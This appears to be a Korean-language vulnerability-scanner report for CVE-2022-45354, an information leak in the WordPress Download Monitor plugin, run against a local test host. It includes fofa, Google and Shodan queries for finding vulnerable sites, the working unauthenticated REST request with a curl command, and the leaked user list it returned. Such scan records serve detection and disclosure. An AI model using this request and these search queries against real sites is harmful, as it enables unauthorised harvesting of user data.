Download Monitor <= 4.7.60 - REST API를 통한 민감 정보 노출 (CVE-2022-45354:version) - http://wordpress.lan에서 발견됨

세부 사항: CVE-2022-45354:version이 http://wordpress.lan에서 일치함

프로토콜: HTTP

전체 URL: http://wordpress.lan/wp-content/plugins/download-monitor/readme.txt

타임스탬프: 2023년 7월 11일 화요일 09:09:59 +0000 UTC

템플릿 정보

키	값
이름	Download Monitor <= 4.7.60 - REST API를 통한 민감 정보 노출
작성자	topscoder
태그	cve, wordpress, wp-plugin, download-monitor, medium
심각도	중간
설명	WordPress용 Download Monitor 플러그인은 최대 4.7.60 버전까지 REST API를 통해 민감 정보 노출에 취약합니다. 이를 통해 인증되지 않은 공격자가 사용자 보고서, 다운로드 보고서, 이메일, 역할, ID 및 기타 정보(비밀번호 제외)를 포함한 사용자 데이터를 추출할 수 있습니다.
CVSS-지표	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
CVE-ID	CVE-2022-45354
CVSS-점수	5.40
fofa-쿼리	wp-content/plugins/download-monitor/
google-쿼리	inurl:"/wp-content/plugins/download-monitor/"
shodan-쿼리	vuln:CVE-2022-45354

요청

GET /wp-json/download-monitor/v1/user_data HTTP/1.1
Host: wordpress.lan
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

응답

HTTP/1.1 200 OK
Date: Tue, 11 Jul 2023 09:46:18 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.28
dlm-no-waypoints: true
X-Robots-Tag: noindex
Link: <http://wordpress.lan/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Allow: GET
Vary: Origin
Content-Length: 1108
Connection: close
Content-Type: application/json

[
   {
      "id": "1",
      "nicename": "admin",
      "url": "http://wordpress.lan",
      "registered": "2023-01-16 13:29:36",
      "display_name": "admin",
      "role": ""
   },
   {
      "id": "8",
      "nicename": "agent",
      "url": "",
      "registered": "2023-07-06 08:09:15",
      "display_name": "agent",
      "role": [
         "subscriber"
      ]
   },
   {
      "id": "3",
      "nicename": "debra_moran",
      "url": "",
      "registered": "2023-06-13 08:32:47",
      "display_name": "Debra Moran",
      "role": [
         "wdk_agent"
      ]
   },
   {
      "id": "4",
      "nicename": "garry_novan",
      "url": "",
      "registered": "2023-06-13 08:32:47",
      "display_name": "Garry Novan",
      "role": [
         "wdk_agent"
      ]
   },
   {
      "id": "5",
      "nicename": "kety_spear",
      "url": "",
      "registered": "2023-06-13 08:32:47",
      "display_name": "Kety Spear",
      "role": [
         "wdk_agent"
      ]
   },
   {
      "id": "7",
      "nicename": "tagent",
      "url": "",
      "registered": "2023-07-06 08:09:14",
      "display_name": "tagent",
      "role": [
         "subscriber"
      ]
   },
   {
      "id": "9",
      "nicename": "test",
      "url": "",
      "registered": "2023-07-06 09:56:31",
      "display_name": "test",
      "role": []
   },
   {
      "id": "6",
      "nicename": "rob",
      "url": "",
      "registered": "2023-06-28 13:36:56",
      "display_name": "rob",
      "role": [
         "subscriber"
      ]
   },
   {
      "id": "2",
      "nicename": "user",
      "url": "",
      "registered": "2023-06-06 08:20:31",
      "display_name": "user name",
      "role": [
         "subscriber"
      ]
   }
]

CURL 명령

curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 'http://wordpress.lan/wp-json/download-monitor/v1/user_data'

CVE-2022-45354

인기

Download Monitor <= 4.7.60 - REST API를 통한 민감 정보 노출 (CVE-2022-45354:version) - http://wordpress.lan에서 발견됨